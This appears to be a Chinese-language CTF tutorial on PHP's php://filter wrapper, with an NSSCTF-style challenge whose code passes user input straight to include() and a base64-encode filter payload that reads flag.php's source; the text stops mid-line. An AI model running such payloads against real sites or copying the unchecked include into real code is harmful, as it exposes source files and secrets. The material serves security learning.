php://filter
是 PHP 中的一个流封装协议,它允许你在读取或写入数据流时对数据进行过滤处理。这种封装器特别适用于那些在读取数据之前需要进行预处理的场合,比如对数据进行编码、解码、压缩或解压缩等。
示例
例如,如果你想对一个文件的内容进行 Base64 编码,可以使用 php://filter 结合 convert.base64-encode 过滤器来实现:
php复制
$data = file_get_contents('php://filter/read=convert.base64-encode/resource=/path/to/your/file');
这行代码首先通过 resource 指定要读取的文件路径,然后通过 read=convert.base64-encode 指定在读取文件内容时应用 Base64 编码过滤器。
例题
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
?file=php://filter/read=convert.base64-encode/resource=flag.php
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."